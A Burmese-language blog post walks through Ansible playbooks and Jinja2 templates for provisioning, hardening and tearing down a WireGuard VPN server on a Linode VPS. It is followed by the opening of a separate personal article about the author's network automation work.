နောက်တစ်ခုက... စာရေးသူလုပ်ချင်တဲ့ဟာတွေကို Ansible playbook တစ်ခုတည်းမှာပဲ အပိုင်းလေးတွေခွဲပြီးတော့ လုပ်ချင်ပါတယ်။ အဲ့ဒီအတွက် Ansible မှာရှိတဲ့ block ဆိုတဲ့ concept ကိုအသုံးပြုပါတယ်။ ပြီးတော့ testing အတွက်လည်း လိုအပ်တဲ့ block တွေကိုတစ်ခုချင်းစီ ပြန်ပြီးခေါ်လို့ရနိုင်အောင်လို့ tags ကိုသုံးထားပါတယ်။ Testing အတွက်မပါလည်းရပါတယ်၊ စာရေးသူ build process ပြီးရင် VPS ထဲဝင်ဝင် စစ်ရလို့ စိတ်မရှည်တော့လို့ testing block ကိုထပ်ပြီးတော့ implement လုပ်ဖြစ်သွားတာပါ။ Block တွေတစ်ခုပြီးတစ်ခုရေးရင်နဲ့ သတိထားမိလာတာ စာရေးသူ ရဲ့ Line တွေအများကြီးဖြစ်လာပါတယ်၊ ဒီ့အပြင် VPN user တွေအတွက် QRcode တွေကိုအများကြီးရိုက်ထုတ်တဲ့အခါ loop တစ်ခုလိုအပ်တဲ့အတွက် wguser.yml ဆိုတဲ့ playbook ကို သီးသန့်ခွဲထုတ်ဖို့ ဖြစ်လာပြန်တယ်။ ဒီလိုခွဲထုတ်လိုက်ခြင်းအားဖြင့် readability လည်း တက်လာသလို၊ code ရဲ့ workflow ကပိုပြီးတော့ ပြေပြစ်သွားပါတယ်။ နောက်ဆုံးတစ်ခုကတော့... teardown အတွက် wg\_PURGE.yml playbook တစ်ခုကို ထပ်မံတည်ဆောက်ဖို့ ဖြစ်လာပြန်ပါတယ်။

### လက်တွေ့အသုံးချပုံ

စာရေးသူရဲ့ Ansible playbook နဲ့ အခြား folder တွေအကုန်လုံးကို အောက်မှာပါတဲ့ link သွားပြီးတော့ download ဆွဲလို့ရပါတယ်။

{% embed url="<https://github.com/tylalin/linode-ansible-wireguard>" %}
Linode Ansible WireGuard
{% endembed %}

ပထမဆုံး Linode ရဲ့ API python library ကို အောက်မှာပြထားတဲ့ အတိုင်း pip နဲ့အရင်ဆုံး install လုပ်ရပါ့မယ်။

```
sudo pip install linode_api4
```

ဒါဆိုရင်တော့... Linode ရဲ့ API ကိုအသုံးပြုပြီးတော့ Ansible မှာ VPS တစ်လုံးတည်ဆောက်ဖို့ အဆင်သင့်ဖြစ်ပါပြီ။ ဒီတော့ wg\_build.yml စပြီးတော့ကြည့်လိုက်ရအောင်ဗျ။

```
# First play is used to create a new linode with your Linode portal API Token as below play
- name: CREATE A NEW LINODE
  hosts: localhost
  tags: [ always, infra ] # those tags can be used for easy access to a particular play of the whole playbook
  vars_files:
    - ../vars/linode_wg.yml

  tasks:
    - name: Create a new Linode.
      linode_v4:
        label: "{{ hostname }}"
        access_token: "{{ token }}"
        type: "{{ type }}"
        region: "{{ region }}"
        image: "{{ image }}"
        root_pass: "{{ password }}"
        authorized_keys: "{{ ssh_keys }}"
        group: "{{ gt }}"
        tags: "{{ gt }}"
        state: present
      register: tyla

    - name: Display info about my Linode instance # this task is used for the new Linode verificaiton
      debug:
        msg: "{{ hostname }} | {{ tyla.instance.id }} | {{ tyla.instance.ipv4[0] }}"

    - name: Add new host to in-memory inventory # this task is used to add the Linode public IP to Ansible in-memory inventory along with its group name
      add_host:
        name: "{{ tyla.instance.ipv4[0] }}"
        groups: linode_wg
      changed_when: false

    - name: Wait for Linode to listen on port 22 # ensure that the new Linode is running and ready to move on with the next play
      wait_for:
        state: started
        host: "{{ tyla.instance.ipv4[0] }}"
        port: 22
```

ဒီအပို်င်းမှာတော့ ဘာမှထွေထွေထူးထူး မရှိပါဘူး။ Linode ရဲ့ API ကိုအသုံးပြုပြီးတော့ VPS တစ်လုံးတည်ဆောက်တယ်၊ ပြီးရင် in-memory inventoy တည်ဆောက်တယ်၊ နောက်တော့ port 22 က Linode ချပေးတဲ့ public IP မှာ ready ဖြစ်ပြီလာဆိုတာကို စစ်ကြည့်တယ်။ VPS ကအားလုံး ready ဆိုတော့မှ နောက်အဆင့်ကို ထပ်ပြီးတော့သွားဖို့ အဆင့်သင့်ဖြစ်ပါတော့တယ်။ လိုအပ်တဲ့ variable တွေကိုတော့ vars folder အောက်က linode\_wg.yml မှာအောက်ကအတိုင်းတွေ့ရမှာပါ။

```
ssh_keys: > ['<< Your SSH Public Key Here! >>', '~/.ssh/id_rsa.pub']

hostname: tyla-linode-wg01 # change the hostname as required

type: g6-nanode-1 # change Linode Plan as required. Here it uses the Linode's Shared CPU Nanode (RAM: 1 GB, CPUs: 1 & Storage: 25 GB) as my node

region: ap-south # change the region as required. Here it uses Singapore as my region

image: linode/ubuntu20.04 # change the image as required. Here it uses the Linode's Ubuntu20.04 as my base image

gt: tyla-linode-wg # it uses for group and tag names

wg_ip: '192.168.69.254' # wireguard server wg0 virtual interface IP

my_ip: '1.2.3.4' # your public IP for SSH remote access restriction

password: << Your "ansible-vault encrypt_string 'YourSecretHere' --name 'password'" Output Here! >> # root password used for the new Linode which is encrypted with ansible-vault for security

token: << Your "ansible-vault encrypt_string 'YourLinodeAPITokenHere' --name 'token'" Output Here! >> # Linode API Token created on your Linode portal which is encrypted with ansible-vault for securityဒုတိယအပိုင်းမှာတော့... ရလာတဲ့ VPS ကို လိုအပ်တဲ့ basic security configuration အတွက် အသုံးချထားပါတယ်။ code block ကို တချက်လောက်ကြည့်လိုက်ရအောင်။ 
```

ဒုတိယအပိုင်းမှာတော့ ရလာတဲ့ VPS ကို လိုအပ်တဲ့ basic security configuration တွေအတွက် အောက်ကအတိုင်း ဆက်ပြီးတော့ Ansible ကိုအသုံးပြုပြီးတော့ configure လုပ်ပါတယ်။

```
# Second play is used for a standard initial configuration required on Ubuntu 20.04 Linux box
- name: INITIAL CONFIGURATION ON THE NEW LINODE
  tags: init
  hosts: linode_wg
  user: root
  vars_files:
    - ../vars/linode_wg.yml

  tasks:
    - name: Initial Linode Configuration
      tags: conf
      block: # block is used here for controlling which set of tasks in each I want to execute. e.g., here I tag 'conf'
        - name: Set hostname
          hostname: name="{{ hostname }}"

        - name: Update apt repo and cache
          apt: update_cache=yes force_apt_get=yes cache_valid_time=3600

        - name: Upgrade all apt packages
          apt: upgrade=dist force_apt_get=yes

        - name: Check if a reboot is needed after apt upgrade
          register: reboot
          stat: path=/var/run/reboot-required get_md5=no

        - name: Reboot the Ubuntu Linode
          reboot:
            msg: "Reboot initiated by Ansible due to kernel updates"
            connect_timeout: 5
            reboot_timeout: 300
            pre_reboot_delay: 0
            post_reboot_delay: 30
            test_command: uptime
          when: reboot.stat.exists

        - name: Enable packet forwarding for IPv4 # this task is important for WireGuard to work correctly by allowing IP forwarding thru the node
          sysctl:
            name: net.ipv4.ip_forward
            value: '1'
            sysctl_set: true
            state: present
            reload: true

        - name: Configure SSH key authentication only # desired state of /etc/ssh/sshd_config is used to restrict ssh remote access
          copy: src=../files/sshd_config dest=/etc/ssh/sshd_config
          notify: Restart SSH

        - name: Allow SSH in UFW
          ufw:
            rule: limit
            port: ssh
            proto: tcp
            src: {{ my_ip }}
            dest: 0.0.0.0/0

        - name: Allow WireGuard in UFW
          ufw:
            rule: allow
            port: '51820'
            proto: udp
            dest: 0.0.0.0/0

        - name: Deny everything and enable UFW
          ufw:
            state: enabled
            policy: deny
            log: true

    - name: Unit testing on initial configuration # unit testing to verify the system configured and tags are used to run specific block
      tags: [ never, tests, conf_test ]
      block: 
        - name: Get the output of /etc/sysctl.conf file
          command: tail -1 /etc/sysctl.conf
          register: sysctl
          changed_when: false

        - name: Test if /etc/sysctl.conf is configured correctly
          assert:
            that:
              - "'net.ipv4.ip_forward=1' in sysctl.stdout_lines"
            success_msg: "[PASS] IP Forwarding is configured correctly."
            fail_msg: "[FAIL] IP Forwarding is not configured or misconfigred."

        - name: Get the output of /etc/ssh/sshd_config
          command: cat /etc/ssh/sshd_config
          register: ssh
          changed_when: false

        - name: Test if /etc/ssh/sshd_config is configured correctly
          assert:
            that:
              - "'PermitRootLogin prohibit-password' in ssh.stdout_lines"
              - "'PubkeyAuthentication yes' in ssh.stdout_lines"
              - "'PasswordAuthentication no' in ssh.stdout_lines"
              - "'PermitEmptyPasswords no' in ssh.stdout_lines"
            success_msg: "[PASS] SSH Daemon is configured correctly."
            fail_msg: "[FAIL] IP Forwarding is not configured or misconfigred."

  handlers:
    - name: Restart SSH
      systemd:
        state: restarted
        name: ssh
```

ဒီတပိုင်းမှာတော့... Ubuntu 20.04 LTS ကို apt update && apt upgrade လုပ်တယ်၊ လိုအပ်ရင် server ကို reboot ချပြီးတော့၊ server ပြန်တက်လာရင် ufw နဲ့ packet forwarding ကို wireguard အတွက်ပြင်ဆင်ရပါတယ်။ ဒီအဆင့်မှာပဲ... sshd\_config ကို local machine ကနေ VPS ပေါ်ကို ကူးယူပြီးတော့၊ handler နဲ့ ssh daemon ကို restart ချပါတယ်။ လိုအပ်ရင် သုံးလို့ရအောင်လို့ unit testing ပုံစံမျိုး code block တစ်ခုကိုလည်း ပြထားတဲ့ အတိုင်းထပ်ပေါင်းထည့်ထားပါတယ်။ Testing အတွက်တကူးတက VPS ထဲဝင်ပြီး ssh နဲ့ sysctl configuration တွေကိုတစ်ခုချင်းစီ စစ်ဆေးစရာမလိုတော့ပါဘူး။ အဲ့ဒီအတွက်... Ansible ရဲ့ assert module ကိုအသုံးပြုထားပါတယ်။

နောက်ဆုံးအပိုင်းမှာတော့... WireGuard installation နဲ့ configuration အတွက်အောက်ကအတိုင်း code block တစ်ခုကိုတွေ့ရမှာပါ။

```
# Third play is for WireGuard installation and configuration for both server and peers
- name: WIREGUARD INSTALLATION AND CONFIGURATION
  tags: wg
  hosts: linode_wg
  user: root
  vars_files:
    - ../vars/linode_wg.yml

  tasks:
    - name: Installing and Configurating WireGuard
      block:
        - name: Install WireGuard and QRencode on the Linode
          apt:
            name: [ wireguard, qrencode ]
            state: present
  
        - name: Generate WireGuard keypair
          shell: wg genkey | tee /etc/wireguard/pri | wg pubkey > /etc/wireguard/pub
          args:
            creates: /etc/wireguard/pri
  
        - name: Register private key
          shell: cat /etc/wireguard/pri
          register: wg_pri
          changed_when: false
  
        - name: Register public key
          shell: cat /etc/wireguard/pub
          register: wg_pub
          changed_when: false
  
        - name: Setup wg0 virtual interface
          template:
            src: ../templates/wg0.conf.j2 # Jinja2 template is used for templating the wg0.conf files
            dest: /etc/wireguard/wg0.conf
            owner: root
            group: root
            mode: 0640
  
        - name: Start and enable WireGuard service
          systemd:
            state: started
            enabled: true
            name: wg-quick@wg0.service

    - name: Unit testing on WireGuard configuration # unit testing for wireguard configuraiton
      tags: [ never, tests, wg_test ]
      block: 
        - name: Check the private key file location
          stat:
            path: /etc/wireguard/pri
          register: pri_key_file

        - name: Test if the private key file exists
          debug:
            msg: "[PASS] The private key file exists."
          when: pri_key_file.stat.exists

        - name: Register private key
          shell: cat /etc/wireguard/pri
          register: wg_pri
          changed_when: false

        - name: Dispaly WireGuard Private Key
          debug: var=wg_pri.stdout

        - name: Check the public key file location
          stat:
            path: /etc/wireguard/pub
          register: pub_key_file

        - name: Test if the public key file exists
          debug:
            msg: "[PASS] The public key file exists."
          when: pub_key_file.stat.exists
        
        - name: Register public key
          tags: always
          shell: cat /etc/wireguard/pub
          register: wg_pub
          changed_when: false
        
        - name: Dispaly WireGuard Public Key
          debug: var=wg_pub.stdout

    - name: WireGuard peer(s) configuration # this block is only executed on localhost but not on the newly created Linode so 'delegate_to:' must be used.
      delegate_to: localhost 
      block:
        - name: Read users.csv file 
          read_csv:
            path: ../wg/users.csv
          register: users

        - name: Generate WireGuard user(s) keypair and configuration # loop thru users.csv file and produce both server and peers configs
          include_tasks: wg_user.yml
          loop: "{{ users.list }}"

    - name: Update WireGuard server's wg0.conf with wg0_peer.conf # this block is executed on the Linode's wireguard server
      block:
        - name: Merge wg0_peer.conf into WireGuard server's wg0.conf
          lineinfile:
            line: "{{ lookup('file', '../wg/wg0_peer/wg0_peer_{{ ansible_date_time.epoch }}.conf') }}"
            dest: /etc/wireguard/wg0.conf
          notify: Restart WireGuard
  
  handlers:
    - name: Restart WireGuard # everytime updating wg0.conf it needs to restart the wireguard service
      systemd:
            state: restarted
            name: wg-quick@wg0.service
```

အပိုင်းသုံးပိုင်းထဲမှာ ဒီအပိုင်းက အရေးအကြီးဆုံးနဲ့ stanza အများဆုံး အပိုင်းဖြစ်ပါတယ်။ ဒီ့အပြင်... wguser.yml ကိုလည်း ဒီအပိုင်းမှာပဲ loop ထည့်လှည့်ထားတာကိုတွေ့ရမှာပါ။ နောက်ပြီးတော့... wireguard peers တွေကိုရိုက်ထုတ်တဲ့ လုပ်ငန်းစဉ်ကို ပထမက VPS ပေါ်မှာလုပ်ပြီးတော့ VPS မှာပဲ သိမ်းဖို့ရည်ရွယ်သော်လည်း နောက်ဆုံးမှာ local machine မှာပဲ လုပ်ဖို့ဆုံးဖြတ်ချက်ချလိုက်ပါတယ်။ အဲ့ဒီအတွက် nested block အနေနဲ့ block တစ်ခုတည်ဆောက်ပြီး delegateto: localhost ဆိုတာနဲ့ in-memory inventory ကို bypass လုပ်ထားပါတယ်။ wg\_user.yml ကိုတော့အောက်ကအတိုင်းတွေ့ရမှာပါ။

```
---
- name: Create directory for user{{ item.usr }} # ensure that 'user' and its relevant subdirectories are created.
  file:
    path: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/
    state: directory

- name: Generate WireGuard peer's keypair for user{{ item.usr }} # issue wireguard peer's keypair
  shell: wg genkey | tee ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pri.key | wg pubkey | tee ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pub.key
  args:
    creates: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pri.key # do not run this task if the private key is already created for idempotency

- name: Generate WireGuard peer's configuration for user{{ item.usr }} # produce wireguard peers' configs with its private key and server public key
  vars: 
    prikey: "{{ lookup('file', '../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pri.key') }}"
  template:
    src: ../templates/wg_peer.j2
    dest: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.conf

- name: Generate QRcode for WireGuard peer's configuration for user{{ item.usr }} # encode the peers' configs to QRCode in .png format for mobile devices
  shell: qrencode -o ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.png -t png < ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.conf

- name: Ensures ../wg/_QRCode/ dir exists
  file: 
    path: ../wg/_QRCode/  
    state: directory

- name: Copy user{{ item.usr }} QRcode to _QRCode folder # QRCode collection for easy distribution to the end VPN users
  copy:
    src: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.png
    dest: ../wg/_QRCode/user{{ item.usr }}.png

- name: Generate WireGuard server's configuration for user{{ item.usr }} # produce the server side wireguard configs for easy rebuild and idempotency
  vars: 
    pubkey: "{{ lookup('file', '../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pub.key') }}"
  template:
    src: ../templates/wg_srv.j2
    dest: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_srv.conf

- name: Merge user{{ item.usr }}_srv.conf into wg0_peer.conf # merge all server side configs into one conf file to directly deliver it to wireguard server and apply
  lineinfile:
    line: "{{ lookup('file', '../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_srv.conf') }}"
    dest: ../wg/wg0_peer/wg0_peer_{{ ansible_date_time.epoch }}.conf
    create: true
```

ဒီ wireguard peer တွေကိုထုတ်တဲ့အခါမှာလည်း idempotent ဖြစ်အောင်လို့ error handling တွေအတွက် လိုအပ် logic control တွေကိုထည့်သွင်းထားတာကိုလည်း တွေ့ရမှာပါ။

Teardown အတွက် စာရေးသူ wg\_PURGE.yml playbook ကိုသီးသန့် ခွဲထုတ်လိုက်ရပါတယ်။ ရိုးရှင်းသလောက် static hostname နဲ့ label ကိုအသုံးပြုထားတဲ့အတွက် immutable ဖြစ်ပါတယ်။ dynamic hostname ကိုသုံးမယ်ဆိုရင် ပြဿနာရှိနိုင်ပါတယ်။

```
---
# This play is for destroying the running wireguard server on Linode. RUN IT CAREFULLY!
- name: Delete Linode
  hosts: localhost
  vars_files:
    - ../vars/linode_wg.yml

  tasks:
    - name: Delete your Linode Instance.
      linode_v4:
        label: "{{ hostname }}"
        access_token: "{{ token }}"
        state: absent
```

ကောင်းပြီ... playbook နဲ့ပတ်သတ်တဲ့ အပိုင်းကိုအကုန်လုံး ရှင်းလင်းပြီး နောက်အဆင့်အနေနဲ့ templates တွေပါတချက်ကြည့်လိုက်ရအောင်ဗျ။ ပထမဆုံးအနေနဲ့ wg0.conf.j2 ကိုအရင်ဆုံး အောက်ကအတိုင်းတွေ့ရမှာပါ။ Jinja2 templating မှာလည်း vars folder အောက်က linode\_wg.yml မှာသိုလောင်ထားတဲ့ variable တွေကို ဒီမှာယူသုံးလို့ရပါတယ်။ အခြားသော Ansible ရဲ့ variable တွေကိုလည်း ယူသုံးနိုင်တဲ့အတွက် ဘယ် variable ကိုဘယ်မှာ ဘယ်လိုယူသုံးရသလဲဆိုတာကိုတော့ သိဖို့လိုပါတယ်။ ဥပမာ... {{ ansible\_default\_ipv4.interface }} ဆိုတဲ့ variable ကိုယူမသုံးခင်က စာရေးသူ eth0 ဆိုပြီးတော့ သုံးပါတယ်။ သို့သော်... Linux ရဲ့ network interface name ဟာတခါတလေကြရင် အကြောင်းအမျိုးမျိုးကြောင့် ပြောင်းသွားနိုင်တာမို့ Ansible ရဲ့ variable ကိုယူသုံးတာ ပိုပြီးတော့ သဘာဝကျပါတယ်။

```
[Interface]
Address = {{ wg_ip }}/32
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o {{ ansible_default_ipv4.interface }} -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o {{ ansible_default_ipv4.interface }} -j MASQUERADE
ListenPort = 51820
PrivateKey = {{ wg_pri.stdout }}
```

နောက် template တစ်ခုကတော့ wireguard peer တွေကိုရိုက်ထုတ်တဲ့အခါမှာ ထွက်လာတဲ့ server နဲ့ client configuration တွေအတွက် template နှစ်ခုပါ။ ပထမဆုံး wg\_srv.j2 ကိုအောက်မှာကြည့်လိုက်ရအောင်။

```
[Peer]
# user{{ item.usr }} wg
PublicKey = {{ pubkey }}
AllowedIPs = {{ item.ip }}/32
```

ဒီ template ကထွက်လာအပိုင်းကို Wireguard server configuration မှာသွားပြီးတော့ merge လုပ်ရမှာဖြစ်ပြီးတော့၊ အဲ့လို merge လုပ်တိုင်း wireguard service ကို restart လုပ်ရပါ့မယ်။

Wireguard client အတွက်တော့ wg\_peer.j2 ဆိုတဲ့ template ကိုအသုံးပြုပြီးတော့ peer တွေကိုလိုသလောက် ရိုက်ထုတ်လို့ရပါတယ်။

```
[Interface]
PrivateKey = {{ prikey }}
Address = {{ item.ip }}
DNS = 1.1.1.1, 1.0.0.1 

[Peer]
PublicKey = {{ wg_pub.stdout }}
AllowedIPs = 0.0.0.0/0
Endpoint = {{ hostvars[inventory_hostname]["inventory_hostname"] }}:51820
PersistentKeepalive = 25
```

ဒီတစ်ခုမှာလည်း အပေါ်မှာတွေ့ရတဲ့အတိုင်း{{ hostvars\[inventory\_hostname]\["inventory\_hostname"] }} ဆိုတဲ့ variable ကိုအသုံးပြုခြင်းကြောင့် VPS ကို build နဲ့ teardown လုပ်တဲ့အခါမှာ ဘာကိုမှပူစရာမလိုတော့ပဲ၊ အလွယ်တကူ ထပ်ခါထပ်ခါလုပ်လို့ရတဲ့ workflow တစ်ခုဖြစ်လာပါတယ်။

VPN user တွေကို အများကြီးပေါင်းထည့်လို့ရအောင်လို့လည်း wg folder အောက်မှာ users.csv ဆိုတဲ့ file ကိုအသုံးပြုထားပါတယ်။ ဒီတစ်ခုမှာတော့ စာရေးသူအရင်ကလုပ်ပြီးသား bash script automation ကို Ansible ဘက်ကိုတိုက်ရိုက်နီးပါး ပြန်ကူးယူးထားတယ်လို့ဆိုရမလားတောင် မသိပါဘူး။ တော်တော်လေးဆင်တူနေတာကိုတွေ့ရမှာပါ။ Bash script နဲ့လုပ်ထားတဲ့ automation workflow အကြောင်းကို မဖတ်ရသေးရင်တော့ အောက်က link မှာသွားရောက်ဖတ်ရှုနိုင်ပါတယ်။

{% embed url="<https://my.itmatic101.com/automation/wireguard-automated-workflow>" %}

Ansible-vault ကိုသုံးပြီးတော့ password တွေ token တွေကို encrypt လုပ်တာကိုတော့ အသေးစိတ်မသွားတော့ပါဘူး။ အင်္ဂလိပ်လိုရေးတဲ့ article မှာလည်း အကျဉ်းချုပ်ရေးသားပြီးသားမို့ သေချာသိချင်ရင် အောက်က link မှာလေ့လာလို့ရနိုင်ပါတယ်။

{% embed url="<https://en.itmatic101.com/ansible/linode-ansible-wireguard>" %}

ဒီလောက်ဆိုရင်တော့... ဒီ article အတွက်တော်တော်လေးကိုပြည့်စုံသွားပြီလို့ပြောလို့ရပါတယ်။ အခုလိုမျိုး Ansible ကိုအသုံးပြုပြီးတော့ playbook တွေဖန်တီးလိုက်တာဟာ နောင်အခါ Wireguard server လုပ်ဖို့အတွက်အများကြီး လွယ်သွားရုံသာမက၊ Infrastructure as Code (IaC) ဆိုတဲ့အတိုင်း အဲ့ဒီ playbook တွေဟာ ကိုယ့်အတွက်လည်း Wireguard server ကိုဘယ်လို setup လုပ်သလဲ၊ configure လုပ်သလဲဆိုတာကို document လုပ်ပြီးသားဖြစ်သွားပါတယ်။ Ansible playbook တွေဟာ delcarative ဖြစ်တဲ့အတွက် ဖတ်ရတာလည်း အဲ့ဒီလောက်မခက်ပါဘူး။ ဒီ article ကိုဖတ်ပြီးတော့ အကျိုးရှိမယ်တော့ထင်ပါတယ်။ IaC အပိုင်း (၄) ကို ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။


# ကြုံတွေ့ရသမျှ Network Automation အနုပညာ အပိုင်း(၁)

Automation နဲ့ Orchestration ဆိုတဲ့ အသုံးအနှုံးက အခုနောက်ပိုင်းရှောင်လို့ မရအောင် နေရာတိုင်းမှာတွေ့ရလို့ ဒီတစ်နှစ် နှစ်နှစ်လောက်မှာ စာရေးသူလိုက်ပြီးတော့ လေ့လာကြည့်ပါတယ်။ တော်ရုံဟို script ဒီ script လောက်လိုက်ရေးရာကနေပြီးတော့ ပိုပြီးတော့သိချင်လို့ လေ့လာရင်း လေ့လာရင်းကနေပြီးတော့ automation နဲ့ orchestration ရဲ့ rabbit-hole အတိုင်းဟိုရောက်လိုက် ဒီရောက်လိုက်နဲ့ တစ်နေ့တစ်နေ့ကို ဖြတ်သန်းရပါတယ်။ စာရေးသူဟာ အလုပ်အကိုင်အားဖြင့်တော့ IT Support ယောင်ယောင်၊ Sysadmin ယောင်ယောင်၊ Systems Engineer ယောင်ယောင်၊ Network Engineer ယောင်ယောင် ဟိုယောင်ယောင် ဒီယောင်ယောင်နဲ့ နေရာမျိုးစုံမှာ ကြုံသလို ဝင်ရောက် လုပ်ကိုင်စားသောက်ပြီးတော့ အသက်မွေးဝမ်းကျောင်းပြုရပါတယ်။ အချိန်ရရင်ရသလောက်လည်း ကိုယ်လေ့လာချင်တာတွေကို ရှာကြံပြီး လိုက်လံဖတ်ရှုခြင်းနဲ့ နည်းပညာဆိုင်ရာ လက်တွေ့စမ်းသပ်မှုမျိုးတွေနဲ့ အချိန်အတော်များများကို ကုန်ဆုံးစေတတ်ပါတယ်။ ဒါကြောင့်လည်း ကိုယ်အိပ်တဲ့ နေရာဘေးမှာ ကွန်ပြုတာအစုတ်အဟောင်းလေးတွေ အချို့နဲ့ စမ်းလို့မပြီးသေးတဲ့ project တဝက်တပျက် များဝန်းရံပြီးတော့ ညအတော်များများကို ဖြတ်သန်းလေ့ရှိပါတယ်။ အဲ့ဒါမှ အချိန်ထပ်ပြီးတော့ ပိုနေသေးရင်ဖြင့် စာရေးရတာကိုလည်း ကြိုက်ပါတယ်။ မြန်မာစာရေးခြင်းကို ကြိုက်နှစ်သက်တာကတော့ စာရေးသူ သတိထားမိသလောက် ၁၀တန်းလောက်ကတည်း ဖြစ်မယ်ထင်ပါတယ်။ စာရေးခြင်းကို ကြိုက်သော်လည်း ဘာခေါင်းစဥ်နဲ့ ဘာစာရေးစရမလဲဆိုတာကိုတော့ အချိန်အများကြီးယူပြီးတော့ တော်တော်လေးရှာဖွေလိုက်ရပါတယ်။ အသက်တွေအရမ်းကြီးသွားတဲ့အချိန် လောကကြီးကို ငြီးငွေ့လာရင် စာရေးခြင်းဖြင့် အပျင်းဖြေမယ်လို့လည်း စိတ်ကူးကြည့်မိပါတယ်။ ကိုယ့်အရှေ့မှာလူကြီးတွေ အသက်ကြီးလာရင် ပျင်းပြီး ဘာသာရေးကြီးပဲလိမ့်လုပ်တာတွေကို တွေ့တိုင်း ငါတော့ဖြင့် သူတို့လို မပျင်းရလေအောင် အသက်ကြီးလာတဲ့ အထိလုပ်လို့ရတဲ့ ဝါသနာလေးတစ်ခုနှစ်ခုလောက်တော့ ရအောင်လုပ်ထားမယ်လို့ အတွေးရှိမိပါတယ်။ စာရေးသူအထင်ကတော့ ဘဝမှာကိုယ်ဘာလုပ်ချင်သလဲဆိုတာကို ရှာဖွေနေရတာကိုက ကိုယ့်အသက်ရဲ့ ၈၀ရာခိုင်နှုန်းကနေ ၉၀ ရာခိုင်နှုန်းလောက်ကုန်ဆုံး သွားလေသတည်းလို့ ကောက်ချက်ချမိပါတယ်။ အချို့လည်း ကိုယ့်ဘဝမှာ ကိုယ်ဘာလုပ်ချင်သလဲဆိုတာကို စောစောစီးစီးသိပြီးတော့ အဲ့ဒီတစ်ခုကိုပဲလုပ်ရင်းကိုင်ရင်းနဲ့ တသက်တာဖြတ်သန်းမှုတွေ မြင်တိုင်းတွေ့တိုင်းတော့ အားကျမိပါတယ်။ ကိုယ်ကမှ သူတို့လောက်မစွမ်းပဲလေ၊ နှိုင်းမကောင်းပါဘူးလို့ ကိုယ်ဟာကို ဖြေသိမ့်ရပါတယ်။ မည်သို့ပင်ဖြစ်စေ စာရေးသူ အနေနဲ့ ကိုယ်လေ့လာချင်တာကို အချိန်ပေးပြီးတော့ လေ့လာတယ်၊ သိသလောက်လေးနည်းနည်း မျှဝေနိုင်သလောက် ပြန်လည်မျှဝေရတာနဲ့ပဲ ကိုယ်တိုင်စိတ်ကျေနပ်မှုရလို့ နေပျော်ပါတယ်။ post ရဲ့ ခေါင်းစဉ်နဲ့ ဆက်နွယ်မှု မရှိသော်လည်း အခုလို စိတ်ရှုပ်ရတဲ့ COVID-19 ရာသီမှာ စာရေးသူ လက်ရှိသုံးသပ်ကြည့်မိတဲ့ ကိုယ့်ရဲ့ ဘဝပေးအခြေအနေတရပ်ပဲဖြစ်ပါတယ်။

### လုပ်ငန်းခွင်ဆိုင်ရာ လုပ်ငန်းစဉ်အကြောင်း တစေ့တစောင်း

ကဲ… အစပိုင်းမှာ ပျိုးထားတဲ့ Automation နဲ့ Orchestration အကြောင်းဆက်လိုက်ရအောင်။ အထက်မှာပြောသလိုပဲ စာရေးသူဟာ လက်ရှိမှာတော့ ဖားတပိုင်း ငါးတပိုင်း Systems တဝက်၊ Network တဝက်ကို ထိန်းသိမ်းရတဲ့ Network Systems Engineer တစ်ယောက်လို့တော့ ခေါင်းစဉ်တက်လို့ရမယ်ထင်ပါတယ်။ Systems နဲ့ ပတ်သတ်ရင်တော့ Windows ကစ Linux အဆုံး manage လုပ်ရပါတယ်။ Virtualisation မှာလည်း VMware product တွေနဲ့ အများကြီးလုပ်ငန်းခွင်မှာ ထိတွေ့ရပါတယ်။ ဒါ့အပြင် VMware product နဲ့ တွဲပြီးတော့ Veeam Backup product တွေနဲ့လည်း ဟိုစပ်စပ် ဒီစပ်စပ်လုပ်ရပါတယ်။ Storage နဲ့ Infrastructure hardware တွေပိုင်းမှာတော့ အထိအတွေ့နည်းတယ်လို့ ထင်သလောက် ခရီးမပေါက်ပါဘူး။ အထူးသဖြင့် Storage infrastructure ပိုင်းမှာ တော်တော်လေးအားနည်း တာကို သတိထားမိပါတယ်။ Network ပိုင်းမှာဆိုရင်တော့ routing / switching ကစ network security အဆုံးအကုန်လုပ်ရပါတယ်။ Vendor တွေဆိုရင်လည်း Cisco ရဲ့ routing / switching နဲ့ Security ပိုင်းမှာ FortiGate နဲ့ Cisco ASA တွေနဲ့ ထိတွေ့ခွင့်ရပါတယ်။ ဒါ့အပြင် HPE ရဲ့ Procurve နဲ့ Huawei ရဲ့ routing / switching platform တွေကိုလည်း လုပ်ငန်းခွင်မှာ တွင်တွင်ကျယ်ကျယ် နေ့စဉ် ထိတွေ့ရပါတယ်။ Customer တွေအတွက် edge device မှာ စျေးနည်းနည်း ပေါတဲ့ MikroTik ရဲ့ routing ဖြစ်တဲ့ RouterOS platform ကို သုံးပြန်ပါတယ်။ စာရေးသူအတွက်တော့ နေ့စဉ်လေ့လာ လို့မကုန်နိုင်လောက်အောင် platform မျိုးစုံနဲ့ နပမ်းလုံးရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ccd1813bd99d18b6c7a2a390da19eb90ec98d4e6%2FMultihat.jpg?alt=media" alt=""><figcaption></figcaption></figure>

